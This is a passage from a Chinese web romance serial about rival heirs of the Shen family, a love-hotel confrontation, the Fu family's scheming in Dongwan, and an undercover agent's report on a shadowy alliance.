“上次香山陵园的事少爷不计较不代表你没问题,说,你是不是先生派来监视少爷的?” 莫然眼皮都懒得抬,“你都说了,少爷不计较,既然少爷不计较哪轮得到你来质问我?” 雷行,“少爷心善不忍怪罪你,我就更要替少爷看着你,你个奸细,休想出卖少爷的情报。” 莫然眉毛拧动,深吸了一口气想继续安排工作。 雷行双手叉腰就站在她身后,虎视眈眈盯着她的一举一动。 “嗡——” 忽然,他口袋里的手机发出震动,雷行目不转睛掏出手机,瞥了一眼来电显示迅速接通。 对方语调轻松,“嘿,布rUa者,在哪里发财啊?” 这声音,这语调? 莫然指尖顿住,抬眸打量雷行。 雷行一板一眼,“我和少爷在一起。” “哦~你复宠了?我就说,那一个外来的婆娘有什么了不起,你家少爷最后还是离不开你的,” 外来的婆娘?! 莫然咬了咬下唇,指尖微微收拢。 雷行丝毫没有觉得不妥,淡淡道,“我对少爷忠心耿耿,哪能跟那个内奸比。” “那当然。不过,你家少爷把内奸婆娘带在身边还是太危险了,这就好比给自己安了个实时定位器。” 内奸婆娘?莫然被气笑了,短短两句话,对方就给她换了两个绰号? “那个,老雷,别怪我多嘴,你们在淮城可要警惕点,那小县城就这么大,万一被盯上插翅难飞……” “我们……” 莫然眸光一怔,趁雷行不注意一把抢过他的手机,用力摔在地上。 “你做什么?”雷行一把拉住莫然。 “做什么?”莫然一把甩开他的手,捡起地上的电话卡用力掰成两半,“你刚刚跟谁打电话?高止?” 雷行皱眉,“我也没说什么……” 忽然,他愣了愣,终于觉察出了一丝不对劲,“他又套我的话?” * “嘟——” 高止挂了电话,转头看向山茶花树下的人影,“少爷,他们在东湾。” 话落,院里拂过一阵暖风,茂密的枝叶沙沙作响,花朵大片大片掉落,随风扬起落在了沈兰晞的肩头,他偏过头细细打量,重睫遮住了眼底了情绪。 少顷,灰鹰推开院门快步走了进来。 “少爷,隔壁邻居说两天前看见有一对年轻男女进了院子,待了一会儿便离开了。墓园那边也说,前天有人上山祭拜,天黑之前下了山。他们还说……” 沈兰晞拂开肩上的落花,眼睑微挑四下环顾小院,八年荒芜这里早已没有了生活气息,唯有院里这棵山茶树和墙面的涂鸦熬过了岁月侵蚀。 他漫不经心,“说什么?” “说有个女孩儿在墓碑前哭了很久。” “……” 沈兰晞眼底的淡漠顷刻间瓦解,他什么都没说转头走向院门,抬步跨过长满青苔的门槛时,他忽然想到什么,淡淡道,“找人收拾一下院子。” 收拾院子? 高止一脸莫名其妙,快步追上沈兰晞,“少爷,您去哪?东湾在那边……” 沈兰晞,“墓园。” …… 第596章 哄 沈归灵走进卧室时,姜花衫正坐在沙发上低头玩手机,床边和地毯上落满了枕头。 “……” 他略微收敛神色,路过沙发时顺便捡起地上的抱枕。 不等他开口,姜花衫抬脚踢了踢他的小腿,“昨晚的事不准让爷爷知道。” 怪她当时意乱情迷受不住诱惑,忘记一路随行的还有莫然和雷行了,万一这两人回沈园说了什么,爷爷肯定会以为是她勾搭沈归灵的,别人还好,她可不想给爷爷留下这么不好的名声。 沈归灵最怕的就是姜花衫起来不认账,只要不是这个,其他的一切好谈。 他点头,“我保证不说,就算哪天被爷爷知道了,我也会一力承担。” 这样倒显得她有些渣了。 姜花衫偏过头,故意岔开话题,“我刚刚听莫然说,东湾开火了?” “嗯。昨夜凶手潜入了十五楼,与我事先安排好的暗线发生了枪战,招商大会在即,傅家压住了消息,目前酒店已经被封锁了。” 姜花衫,“那我们什么时候去看看?” “不急,所有人被封在大楼里,我们正好可以隔岸观火看看局势。” 姜花衫若有所思点了点头。 忽然又想到什么,她抬眸斜睨打量他,“你今晚跟雷行睡。” 沈归灵眸光微黯,笑着应口,“好。” 姜花衫愣了愣,略有些不敢相信。 说起来这家伙昨晚的反应也很奇怪,使尽浑身解数勾引她,她妥协了他反倒克制起来说先要熟悉一下,一想到他熟悉的手段,姜花衫脸颊不禁有些发烫。 “你打了什么歪主意?” 沈归灵笑了笑,一本正经,“山珍海味吃多了总会腻,何况是你这么喜新厌旧的人,所以为了我们的以后着想,你暂时不能得到我。” “……呵!”姜花衫被气笑了,随手拿起沙发的枕头对着他砸了过去。 沈归灵偏头,趁着躲避枕头的空档低头亲了亲她的嘴角。 “但你可以得到我的亲吻。” 姜花衫冷笑,张口反咬,沈归灵一把扣住她的脖子,撬开她的齿关加深了这个吻…… * 半个小时后。 沈归灵捂着嘴角从卧室里走了出来。 此时,主厅的氛围异常低迷,莫然和雷行见他出来立马站了起来。 沈归灵已经察觉到什么,但丝毫不影响他的好心情,眉宇间满是温和,“怎么了?” 雷行捧着被掰成两半的电话卡,扑通一声跪倒在地,“少爷,我对不起您。” 几句话的功夫,他便交代了高止打电话来套话的经过。 “少爷,高止应该已经知道我们的位置了,是我害了您,您罚我吧。” 雷行归咎不已,要是真暴露了,少爷和姜小姐的事一定很快就会被查出来,到时候少爷一定会被家法处置的。 沈归灵并没有想象中的生气,盯着他手里的电话卡看了半晌,问了一个两人都意想不到的问题。 “你怎么反应过来的?” “啊?”雷行有点懵,不情不愿指着一旁的莫然,“是莫助理看出来的。” 沈归灵点头,“起来吧。” 雷行万万没想到这么严重的事就这么轻易揭过了,不免有些受宠若惊,“少爷,您不生气,不处理我?” 沈归灵想了想,“的确应该给你长个教训,那就罚你今晚跟莫然一起住。” “!”莫然一脸震惊,“少爷,我做错了什么?!” 这哪是处置雷行,分明是在处置她! 沈归灵想了想,“就当是香山陵园那次的处罚吧。” 那次因为消息滞后,害得沈归灵差点错失姜花衫,莫然自知有错,也不好再说什么。 雷行苦着一张脸,“少爷,高止万一追过来了就麻烦了,要不咱们还是现在就走吧?换个正常一点的酒店,到时候也好说话不是?” 沈归灵摇头,“等的就是他。” * 第597章 傅家的谋划 十二年前的海港战役…… 沈兰晞淡漠的眸底终于有一丝裂缝。 姜花衫的父亲是死在他父亲指挥的战争中? 海港战役由沈玺率领,战争惨烈九死一伤终于换回了北湾和平。 原来沈家不只是他,姜花衫也是烈士之后。 沈兰晞抬手,慢慢摸向心口,他经历过父母的死别,所以很清楚要一个幼子接受最爱他的亲人离世有多残忍,她在门口等方眉,只是想确认这世间还有值得她留恋的人。 若她没有等到爷爷,她的人生将会是另外一个结局。 难怪,她那么爱爷爷。 沈兰晞咽下喉间的哽塞,对着老人点了点头,转身往山下走去。 “哎~”老人并不在意,翻着眼皮回头,晦暗的眸底隐隐泛着水光,“你的孩子回来看你了,这下该高兴了吧?” 风过,吹动了枝头的山茶花。 “少爷,怎么样?有没有问到什么有用的情报啊?” 沈兰晞下山,高止立马跟了上来。沈家继承人的出行都有专人把控安全,祭拜的时候突然出现一个人一定是高止刻意放行的,沈兰晞正是因为知道,才耐着性子和老人说话。 “去东湾。” “好嘞。”高止摩拳擦掌掏出手机,转身指着身后的六座客机,“少爷请看,老奴早就为您准备好了。” “二房一个小小沈归灵算什么?少爷,您只要XUe微展露那么一丁点儿势力,小小姜花衫还不是手到擒来。” 沈兰晞眉头微皱,“闭嘴。” 高止立马垮下脸,双手恭敬交叠,“您还是蹬三轮去吧。” * 东湾。 傅宅。 傅嘉盛发了好大一通脾气,把整个警署厅骂得狗血淋头,东湾警署厅署长两股战战,吓的头都不敢抬。 “我怎么交代你的?现在招商大会马上就要开始了,你给你整这么一出幺蛾子,你是存心想让我下不了台是吗?” 东湾署长往主位看了一眼,见傅岭南闭目养神不说话,只能硬着头皮解释,“傅先生,警署厅的人已经加派的人手,我保证一定在招商会之前找到凶手。” “说的容易?怎么找?现在那伙人全部藏在招商人员里面,难不成你要严刑逼供?到时候凶手没找到人都得罪光了,我还能指望他们掏钱投资?” 这也正是这件案子难办的地方。 东湾署长想了想,试探道,“要不然先压着不查,等到招商大会结束再……” “蠢货!酒店发生枪战该惊动的都已经惊动了,要是不把凶手找出来,你让那些招商还怎么信任东湾?治安这么乱,警力部署能力这么低,谁还敢在东湾投资?!” 东湾署长连连点头,“是是是,傅先生您说的是。那依您看我们警署厅应该怎么做才算周全?” “那……”傅家盛一时也没个主意,气得直接掀翻茶台,“什么都问我,要你们给干嘛?” 东湾署长连忙矮下身子,不敢接话。 “行了。”傅岭南缓缓睁眼,语气不咸不淡,“事情已经发生了,发火有什么用?” 说罢转头看向东湾署长,“有没有查到什么可疑人?” “我们经过一天的摸查的确锁定了几个怀疑对象,只是……”东湾署长欲言又止看了看傅嘉盛。 傅嘉盛眼神微眯,片刻后接过话,“他们怀疑的对象都是这次招商会的空头巨鳄……” “查。”不等他说完,傅岭南做了决定。 “可是,爸,万一……” “有什么万一?招商会砸了还可以再办,无非是浪费点钱。但东湾治安的信誉一旦出现问题,那可是百倍代价都弥补不回来的。” 傅嘉盛还是有些犹豫,为了做出政绩,他把所有心血都投注到了招商会上,这一年要是废了,下一次不知道又要等多久?他已经受够了东湾这个鬼地方。 傅岭南看出了他的犹豫,气心口酸痛,正要训斥忽然想到什么,冷冷看向东湾署长。 署长哪有不懂,连忙弯着退了出去。 等到大门关上,傅岭南捂着心口急声怒骂,“鼠目寸光!咳咳咳……你也不想想,早不出事晚不出事,偏偏招商会的时候弄出这么大的事,这背后一定有人搞鬼。你为了区区几百亿这也不敢查那也不敢查,这不是告诉别人我们傅家好欺负吗?” 傅嘉盛连忙倒了杯热茶递上前,“爸,您别急,先消消气。” 自从两年前傅家明意外身死,傅家被逐出鲸港名利圈,傅岭南就落下了心闷郁结的病根,身子衣襟大不如从来,傅家盛唯恐傅老爷子气坏了身子自己无人帮扶,连忙示弱,“您说的我都知道了,我听您的。” 傅岭南死死抓着傅嘉盛的手腕,气喘吁吁,“阿盛,你可不能忘记你弟弟的血仇,当年我们也是被逼无奈才利用了阿明的死,但别人不知道,你可不能忘。” “你以为我们逃到鲸港那些人就会收手?不!他们不会的,那些人都防着我们回去,所以你要沉住气!沉住气啊!” 傅嘉盛点头,搀扶着老爷子起身,“我知道了,先不说这些了,您先回房间好好休息,等有了进一步的消息我再通知您。” 傅岭南精神疲惫,刚起身忽然想到什么,眼里多了几分无奈,“文博和潇潇呢?又出去野了?” 傅嘉盛眼神微变,略有含糊,“不能啊,刚刚还看见在家里……” “行了!”傅岭南摆摆手,“你别替那两个兔崽子遮掩了,以他们的性子在家哪能这么安静?你啊,纵子如杀子,这么简单的道理还不明白吗?文博年纪也不小了,让他收收心,还有潇潇……” “爸,潇潇的情况您也是知道的,她不比文博,不能逼急了。” 两年前傅潇潇被沈家扒了衣服挂在飞机上游行,救回来时候的时候人已经在发疯的边缘,经过两年的心理救治,近几个月情绪才有好转,傅嘉盛就这么一个女儿,不忍她再受折磨,所以对傅潇潇格外宽容。 “罢了,罢了。”傅岭南摇了摇头,拂开傅嘉盛的手慢慢往厅外走去。 老年丧子,家族失利,子孙不慧,桩桩件件依然磨灭了他不少心志。 …… 第598章 找上门 “爷爷……” 恰巧这时,傅文博火急火燎从外面跑了进来。 傅岭南还想多活几年,懒得动怒,只当做没听见直接越过傅文博。 傅文博一头雾水,抓着脑袋进屋,“爸,爷爷怎么了?” 傅嘉盛捏了捏眉心,“怎么了怎么了?还不是你们一个个不着调?!” 莫名其妙讨顿骂傅文博满脸的无语,“我哪不着调了?我这不是刚听说了亚荷酒店的事就回来了吗?” 傅嘉盛摆摆手,“行了行了!你妹妹呢,又去哪里鬼混了?” 傅文博,“酒吧,俱乐部,还能去哪?” 傅嘉盛越听越头大,“最近不太平,赶紧把她叫回来,别给我惹麻烦。” “能惹什么麻烦,不是我说,在东湾敢招惹我的还没出生呢。”傅文博仰头栽倒在沙发上,翘着二郎腿一脸悠哉,“以前在鲸港,个个都敢跟我摆脸色,现在在东湾我就是天。哎~早知道东湾的生活这么悠哉咱们就应该早点来。” “宁做鸡头不做凤尾,古城诚不欺我。” 傅嘉盛忍无可忍,拿起桌上的冷茶对着沙发上不孝子泼了上去,“烂泥扶不上墙!” * 贝斯俱乐部。 傅潇潇抬头,对着上空轻轻吐了一口烟圈,“我凭什么相信你?” 对面男人隐藏在暗光里,勉强只能看见大致的轮廓,男人眼神冰冷,“你可以不信,我也并非只有你一个选择对手。” 傅潇潇沉默片刻,轻轻笑了笑,“成交。” 她脸上画着艳丽的烟熏妆,与之前在鲸港的时候完全判若两人,“但我要再加一个人。” “谁?” 傅潇潇弹了弹烟蒂,“沈眠枝。” 当初下命扒了她衣服的那个贱人! 男人轻笑了一声,端杯遥敬,“成交。” * 东湾边郊。 天色渐晚,青山居客的半壁山墙已经亮起了星灯。 草地上刮起一阵疾风,庞然巨物从天降落。 酒店的工作人员早已经接受到了信号塔的提示,开着观光车提前赶到了机场。 舱门开启,但见一位气质出尘的美男子从直梯上走了下来。 能入青山居客的客人都是不是权贵就是富绅,酒店接待也算见多识广,一眼看见沈兰晞便知是来了位了不得的贵客,经理主动上前,“您好,欢迎来到青山居客,请问是要住房吗?” 沈兰晞淡淡环顾了一眼,转头看向高止。 高止心里还记恨他让自己闭嘴的事,梗着脖子不说话。 沈兰晞,“不要工资了?” 高止皱眉。隔着墨镜瞪了他一眼,什么都不能折了他的腰,除了五斗米,菜鸡果然阴险。 “嗯咳咳……”他一秒妥协,装模作样清了清嗓子,“没错,你们这是酒店?那我们也住房。” 经理,“请问贵客是否有预约?” 高止,“没有。” 经理态度越发谦和,“您好,我们旅馆是预约制的,您如果没有预约必须先登记基本信息,验证通过了才能办理入住。” 这么麻烦? 高止回头看向沈兰晞,“少爷?” 沈兰晞,“不住,找人。” 第599章 荡漾的床,愤怒的他 “你说什么?” 沈娇捂着鼻子,顺手从冯妈手里接过丝帕,缓了许久才接上气,“兰晞去青山居客抓奸了?抓的还是男人?!!!” 这信息一个比一个劲爆,沈娇都不知道要先消化哪一个? “老板,我们根本拦不住啊!沈少爷一句话不说,气场吓人,他身边的保镖指名要找一个呆头脸的男人,但那呆头脸前天分明跟同行的女伴住在一起的,这要是被沈少爷看见了还不得血洗咱们旅舍?” 沈娇沉默片刻,从冯妈手里接过丝巾,略有迟疑,“呆头脸?雷行?” “好像是叫这个名字。” 青山居客做的就是特色服务,所以不管来了什么样的客人,工作人员下意识就往感情解纷思考。 再加上他们“见多识广”,别说什么性别恋、黄昏恋、畸形恋,就算是跨物恋他们都能品出个狗血言情剧。 所以当高止掏出照片时,所有人第一反应就是沈家太子来找他的逃跑丑娇夫了。 “……”沈娇扶额,有种被人打了一拳不知道向谁还击的感觉。 别人她不知道,但沈兰晞她还是有数的,眼高于顶的人会看上雷行?除非能让他父母起死回生。 不对!起死回生也不能,雷行太丑了,看上沈归灵还差不多。 不行! 沈娇站起身,这要是让沈兰晞知道衫衫和沈归灵的事,以那小老头儿的古板性格,说不定会以此声讨二房,虽说她也还有笔账要跟二房算,但万万不能牵扯衫衫。 “拖住他们,别让兰晞去星空房。” 说罢便挂了电话,“冯妈,准备一下,今晚去东湾。” 冯妈欲言又止,心知是劝不下只能找了件薄衫给她披上,“山里凉,出门的时候加件衣裳。” * 此时的雷行抱着头坐在房间里,虽然沈归灵没有追究,但他还是无法原谅自己,头发被戳成了鸡窝头也没想明白,自己怎么会在一个坑连跳两次? “……”莫然远远站在一边,十分担心这股傻气会传染。 “我对不起少爷……我是罪人。”雷行揉搓着鸡窝头,感觉天要塌了。 “……” 莫然实在不想沾染蠢气,拎着电脑包躲进了隔壁卧室。 万幸,这次的房间有两张床。 “叮咚——” 忽然,屋里响起了门铃声,但雷行完全沉浸在自己的世界里没有一点儿反应。 莫然有些受不了,扯着嗓门大喊,“雷管家,你要不开门我可就开了。” 雷行立马抬起头,一脸胜负欲,“凭什么你开,要开也是我开。” 说完满血复活,噌得一下跳起。 莫然完全摸准的他的习性,丝毫不受影响继续工作。 雷行猛地一下拉开门,还没反应过来,一只腿直接从门外伸了进来。 “嗨,布rUa者~” “怎么是你?”雷行皱眉,不顾高止的腿还卡在中间用力摔门。 高止早有防备,单手抵门,“怎么还是这么不懂事,有贵客也不知道出来欢迎欢迎?” 话落,沈兰晞从高止身后走了出来。 雷行脸色微变,略微收敛了力度,但并未收回手,“兰晞少爷。” 沈兰晞,“沈归灵呢?” 来抓少爷的? 雷行吓得心脏直跳,“少爷……少爷不在这。” “在哪?” 高止立马插嘴,“少爷,他说不在肯定就是在。” 雷行皱眉,“我说不在就是不在。” 高止斩钉截铁,“少爷,在!” 沈兰晞神情淡淡,“让开。” 雷行满脸不甘,死死扣着房门,高止见状,一把拂开他的手,直接往门缝钻了进去,雷行忍无可忍,追在高止身后声讨。 “这么多年你还是这么老奸巨猾,别忘了师父说的,老奸巨猾折寿。” 高止一点不在意,自处打量,“折就折吧,我原本可以活两百岁,为了少爷只活一百岁也是可以的。咦?你家少爷呢?躲起来了?” 雷行冷着脸,“刚刚都说了,少爷不在,他没跟我在一起。” 沈兰晞环顾四周,映入眼帘的是满屋的粉色纱帐。 他沉默片刻,转眸看向雷行,“沈归灵在哪?” 雷行倒也硬气,丝毫没有畏惧,“我只是少爷的管家,无权过问少爷的行踪。” 沈兰晞眼睑微沉,眸底闪过一抹戾气。 高止迅速看了沈兰晞一眼,眼珠一转飞身对着雷行撞了上去。 雷行早就记恨高止的算计,两人直接扭打成了一团。 从门缝里偷窥的莫然,“……” “阴险小人!连同门都骗,简直可耻!!” “少啰嗦,把手机给我交出来!!” 两人一路扭打,抱作一团跌进了大床。 高止占了上风,抬手准备掏高止的裤兜,雷行突然爆发,反身扑倒高止,举起拳头,“我忍你很久了。” 拳头正要落下…… 忽然—— 身下的床像是被触发了什么机关,床身缓缓抬高。 怎么回事? 高止和雷行一脸懵逼,没等两人反应过来,身下的床毫无预兆晃动了起来, “这……” 高止刚开口,头顶的粉色纱帐轻飘飘垂落,纱幔里下起来粉色的花瓣雨,透明的粉纱配合着床身的晃动说不出的荡漾诡异。 高止、雷行,“???” 沈兰晞,“……” 目睹一切的莫然,“………………” 床上的两人安静如鸡,短暂沉默后,两人一言不发坐了起来,十分默契停止了身体接触,一人向左一人往右爬下了床。 这个房间怎么会有这么恶毒的开关?下了床,高止佯装什么都没发生,指着那张摇摆的邪恶大床,“少爷,这旅舍不正经。” 沈兰晞神情冷峻,忽然想到什么,转身推开卧室隔壁的衣帽间,目光幽深四下探寻。 高止一脸晦气拿出手机随意点了点,忽然脸色大变,“少爷!” 他赶紧把查到的资料递给沈兰晞,“我们大意了!” 沈兰晞早就已经察觉到了不对劲,瞥到资料上‘情趣’两个字,眼里的怒火再也掩饰不住,撩眸看向雷行,“我再问你最后一遍,沈归灵在哪?” “不……” “兰晞少爷!” 不等雷行说完,莫然推开房门,面带微笑走了出来,“我们的确不知道少爷在哪?少爷和姜小姐的房间都是单独安排的。” …… 第600章 最喜欢的就是你了 床帐的粉色纱幔在半空中荡着旋,花瓣好似没完没了,落了一床又一床。 屋里的气氛已经冷到了谷底。 高止怎么都没想到事情的发展结果会变成这样?太过诡异,以至于他一时也不知该如何反应。 沈兰晞的脸色有了明显的变化,清冷的眉宇隐隐透着几分暴虐。 沈归灵竟然敢带她来这里?! 莫然虽然有些畏惧这位沈家太子爷,但她深知,既然自己已经选择了沈归灵,以后免不了和沈家太子党打擂台,若这点阵仗就被吓退,沈归灵以后也不会重用她。 好比现在,少爷明知雷行已经泄露了行踪却依旧选择在原地等待,显然是做好了摊牌的准备。 雷行无脑,定是看不出少爷的深意,所以少爷才会要求她和雷行同住,目的就是借她的口气一气沈兰晞。 她既明白,当然要照做。 莫然保持恭训,微微点头鞠躬,“兰晞少爷若是想知道他们在哪,不妨联系阿灵少爷,让酒店的工作人员带您过去。” 雷行原本打算死磕到底,为沈归灵争取应对的时间,不想莫然竟然当场叛变。 他顿时怒不可遏,忿忿看向莫然,“你怎么能出卖少爷?” 莫然懒得理他,面带微笑低着头。 到这,沈兰晞若还看不出这是沈归灵布下的攻心局,他这么多年的家族教育就算白学了。 好个请君入瓮! 沈兰晞紧紧攥拳,第一次知道原来自己也不是君子,并非什么棋局都能坦然接受输赢。 这局棋他第一步就下错了,以至于步步错,到最后被人牵着鼻子走。 这是他第一次生出了悔棋的念头。 沈兰晞闭了闭眼,从口袋里掏出手机,拨通了对手的电话。 这是继南湾之后,他第二次主动联系沈归灵。 “嘟——” 电话很快接通,对方的声音明显带着愉悦,“兰晞哥,你到了?” 沈兰晞声音冷得没有一丝起伏,“你在哪?” “云顶房,兰晞哥要来吗?” 沈兰晞挂了电话,转身走出客房。 酒店经理一直守在门外,忽然看见房门打开,立马迎了上去,没等他开口,沈兰晞一把扯过他的衣襟。 “云顶房在哪?” 他的眼里淡得没有一丝情绪,却不知为何叫人看着心颤。 酒店经理咽了咽口水,指着山顶的方向,“要……要坐缆车,您……您跟我来。” 沈兰晞松开,“带路。” 高止心知这事是要闹大了,点着雷行,“你家少爷果然不是什么好鸟!!” 雷行气极,“你才不是好鸟!阿灵少爷是最好的鸟,百灵鸟!” “……”莫然眼皮跳了跳。 “傻子,我懒得跟你说。我告诉,今天这梁子结大了!” 高止一脸心疼,菜鸡少爷命苦啊,初历情爱就碰上了姜花衫这个祸水,对手还是沈归灵这种智恋型魅魔,还没出征被人挑衅到家门口了,这让心高气傲的少爷怎么接受? 高止越想越不安,转身追了出去。 “呼——” 见危机解除,莫然不觉松了一口气,瘫软在地。 幸好沈兰晞还有世家大族的风度没有迁怒她,不然她只怕小命不保。 雷行望向门口,想了想一把拉起莫然,“我们也去。” 莫然生怕传染了蠢气,一把甩开他的手,“去干嘛?神仙打架小鬼遭殃,这个时候躲着就行。” 少爷杀人诛心,这是要踩着沈兰晞的脸上位,她可不想被牵连。 雷行动怒,“胆小鬼!少爷怎么对你,你忘了?” “忘了忘了。”莫然懒得跟他废话,转身进了卧室。 雷行想了想,还是觉得不放心,转头冲了出去。 * “这就是云顶房了。” 山顶的天色已经暗了下来,酒店经理敲了敲房门,却发现房门没有锁。 “让开。” 闻言,酒店主动退让一旁,沈兰晞抬步走进房间,高止正要跟上,房门砰得一声从直接锁上了。 云顶房的布置又是完全不同的风格,屋内的陈设、家具几乎都是透明的硅胶软体,房间四面玻璃,因地势高,山间云雾缭绕,让人有种置身云端的错觉。 沈兰晞淡淡扫了一圈,确定屋里没有人后,再次拨通了沈归灵的电话。 他敢约他见面,总不会什么准备都没有。 “嘟——” 电话响了很久都没有回应。 沈兰晞眉头微皱,盯着手机屏幕看了许久,沈归灵到底想干什么? 忽然,对面玻璃亮起了满屏星灯…… 沈兰晞极为不适应眯了眯眼,蓦地—— 他指尖僵滞,手机重重摔在了地上。 对面的玻璃星灯下,年轻的男女正在亲吻,从他的视角并不能看清他们的样貌,他们拥吻的身影斜打在玻璃上,像一幅被扩大数倍的黑色默片。 “……” * “不是说了,你今晚跟雷行睡吗?” 姜花衫轻轻喘几声,推开沈归灵的肩膀打算起身。 沈归灵单手托腮,意犹未尽拉出她含进嘴里的青丝,“晚安吻。” 姜花衫不知道他闹什么,赶紧从他的怀里钻了出去。 “赶紧走。” 她只是装得经验老道,并不是真的身经百战,沈归灵要真下了狠手撩拨,她这塘主的位置保不齐下一秒就要退位让贤。 沈归灵笑了笑,从身后揽住她的腰,“东湾的局布得差不多了,明天出去转转?” 姜花衫斜睨他,“你不对劲?” 沈归灵一脸坦然,任她打量,“那就不去了,继续在这待着,我们再换个房间?” 还换? 沈归灵这是想把旅舍的所有情趣都体验一遍? 总钓着她,才懒得跟他玩。 姜花衫摆出一副无欲无求的样子,“正事要紧,去东湾。” 沈归灵早猜到了她的决定,松开怀抱站起身,“行,那你好好休息。” 上一秒还缠绵悱恻,下一秒当断即断,要不是姜花衫脑子里还储存着沈归灵的心动值,她压根不敢相信这家伙动了真情。 沈归灵见她撇嘴,俯下身轻轻吻住她的嘴角,“不用怀疑,最喜欢的就是你了。” …… 作者:宝宝们端午安康~五月的最后一天,发糖!求你们的小礼物~ 沈兰晞:就没有人管我的死活??? 第601章 拿捏 星空房和云顶房的视线距离虽然只有十米之遥,但实际若要抵达需要跋山涉水。所以,当沈归灵到达云顶房已经是二十分钟后的事了。 房门没有掩实,沈归灵推门径直走了进去。 屋里只有一盏昏暗的落地灯,沈兰晞端坐在玻璃前树脂沙发上,身后的玻璃星空已经熄了灯。 听到屋里的脚步声,他面无表情抬眸,深邃的眼瞳黑得发凉,看向沈归灵的眼神好似一湾古井无波的深潭。 “你做这种事,她知道吗?” 进屋之前,沈归灵想过很多种可能性。 他以为以沈兰晞的傲气,在看见他精心策划的一幕后势必不会再与他周旋,毕竟太子爷要什么没有何必上赶着被人羞辱做手下败仗? 没想到,沈兰晞竟然还能冷静如斯,更没想到他竟然还能反过来质问他。 沈归灵笑了笑,语气寻常,“她不需要知道,因为你……并不是她多重要的人。” 若是姜花衫在意沈兰晞,他自是不敢这么明目张胆,但通过他这几年的观察,他可以确定姜花衫对沈兰晞并无过界的情感。 既然不喜欢,那他驱逐沈兰晞就算不上什么大事,毕竟他好歹还有个试用期,沈兰晞却连门都没有入。 沈兰晞,“那你呢?你步步算计,为了让我知难而退设下如此难堪局面……” “难堪?”沈归灵挑眉,看似温和的眉宇暗藏剑锋,“兰晞哥光风霁月自然看什么都低俗,但有一点你不要忘了……” “是你自己追着来东湾的,也是你自己非要看的。说句你不爱听的,你来不来,我们都一样相处,你要觉得我是为了你才特别表演了这么一出,那还真是误会。” 这话才是真正的杀人诛心。 沈归灵这是在提醒他,这是他和姜花衫才是‘我们’,他现在出现在这,就像个名不正言不顺的小丑。 见沈兰晞不接话,沈归灵又继续说道,“星空房就是隔壁,兰晞哥若觉得我手段下作上不了台面,大可直接去找衫衫,我绝不拦着。” 沈兰晞手指微微收拢。 沈归灵这是在提醒他,看见了又怎么样?他也只能坐在这空等二十分钟。他现在的身份和立场,根本没有资格阻止姜花衫和任何人交往。 沈兰晞不置一词站起身。 今天这个局让他彻底明白了一个道理,一直以来,他小看了沈归灵,以前只道他好谋善断有几分气运,没想到竟然还如此擅算人心。 局面已败,再说也只是徒增笑料。 沈兰晞垂眸,掩下眸底的幽光,安静从沈归灵身边越过。 “兰晞哥。” 两人并肩时,沈归灵再次开口,“我无意于沈家家主之争,但姜花衫我势在必得,若你还想沈家安宁,我们最好能和睦相处。” 沈兰晞停下脚步,上撩眼睑,“自己母亲的陵墓都守不住,还有脸跟我说‘势在必得’?人心都是善变的,她今天喜欢你,那明天呢?” 沈归灵眼底的笑意渐渐沉入眸底。 沈兰晞转过头,大步走出了房间。 * 第602章 耀眼的孩子:周绮珊 打蛇打七寸,沈清予这是完全抓住了她的命门。 顾老太太闭了闭眼,语气萧瑟,“这是你爷爷教你的?沈庄也知道了?” 那日,沈庄闭门谢客她就隐约察觉到了不对劲,现在看来,一切都是有迹可循。 沈清予抬眸,神情认真看着眼前的老人,“婆婆,从离开沈园开始,以后我与您上的每一次对弈都是我自己的意愿。” 老太太愣了愣,一时没有反应过来。 沈清予,“现在是摆烂局,我已经明棋,就看您下一步下哪了。” “叩叩——” 这时,门外响起了敲门声。 “妈,我来给清予送醒酒汤。” 老太太立马收敛神情,扶着沙发慢慢站了起来,“进来。” 话落,房门应声推开,顾太太端着醒酒汤笑吟吟走了进来。 * “可恶!奶奶都已经偏心成那样了,爸爸竟然还帮她说话,再这么下去,这个家哪还有我们的立足之地?以后干脆直接改姓沈算了。” “我明明说的是实话,为什没有人听?爸爸竟然还打我……呜呜呜呜……” 顾玉珠越哭越伤心,脸上的泪水就像擦不完似的不停的流。 泪水模糊间,她忽然看见自己残缺的右手,掌心的伤口像只蜷缩的蜈蚣,看上去只叫人恶心。 她的手变成了这样,奶奶却不闻不问,最后也只是随意警告了周家,周宴珩却并未付出任何代价。 但要是换作沈清予,奶奶还会这么无所谓吗? 这一刻,嫉妒和怨恨疯狂滋长,原本委屈的眼神也变得狰狞可怖。 掌心那道疤仿佛是蜈蚣活过来了一般,顺着她手腕一路啃食她的身体。 “叮咚——” 就在这时,手机屏幕跳出一条陌生消息。 -【利维坦之陨邀请你成为联盟的第八十七位杀鲸者……】 * 千里之外,云乡边郊。 旷野四下无人,废弃的钢铁厂内到处流窜着风的哀鸣声。 “哒哒哒——” 突然,诡异的风声里夹杂着高跟鞋踩踏钢板发出清脆的撞击声,夜幕中走出一道身姿绰约的人影,贴身的裙摆完美勾勒了柔美曲线,只需一看便知是个女人。 “来了?” 角落里,有人已经久候多时。 男人声音暗哑,手里夹着烟蒂,火光明灭的间,隐约能看锋利如刀刃般的下颌线。 “长官。” 女人从慢慢走进月光下,露出雌雄难辨的一张脸。 男人愣了愣,“你这是?” 大红裙摆加卤蛋寸头,这是哪来的搭配? 周绮珊,“逃跑的时候假发被人扯掉了,没办法,为了避开那些爪牙,我只能把头发剃了。” “……” 倒也是个狠人,男人很快敛神,“情报呢?” 周绮珊取下食指甲片丢给男人。 男人接过,发现甲片的封层里正好藏着一张指甲盖大小的芯片。他不禁有些欣赏眼前的新兵蛋子,难怪去了这么多人,只有她一个人能活着回来。 “资料我会交给本部,这次的任务你完成地很好,我会向军委上报申请表彰,你可以归队了。” 周绮珊对这些并不感兴趣,思索片刻开启了新话题,“长官,这次任务我还发现了另外一个重大线索,我认为这件事的危害性远远高于云乡XX案。” 男人皱眉,“什么线索。” “我这次潜入毒贩大本营,无意中知道了一个叫利维坦之陨的联盟势力,那些毒贩穷凶极恶,却对他们敬若神明,云乡地方官员之所有跟毒贩勾结,似乎也是这个联盟的手笔。” “你的消息来源可靠吗?”男人凭借多年的与死亡打交道经验,立马觉察出了一丝不对劲。 周绮珊点头,“宽扎每过一段时间都会外出,回来之后就会给身边立功的小弟颁发奖励,会里都说是大人物的恩赐。一开始我以为说的是云乡的保护伞,但后来发现事情没这么简单,这背后另有其人,不,是一群人!” 宽扎是云乡城黑恶势力的大人物,也是云乡百姓人人敬畏的恶虎,就连他都要对身后势力俯首称臣,细思极恐。 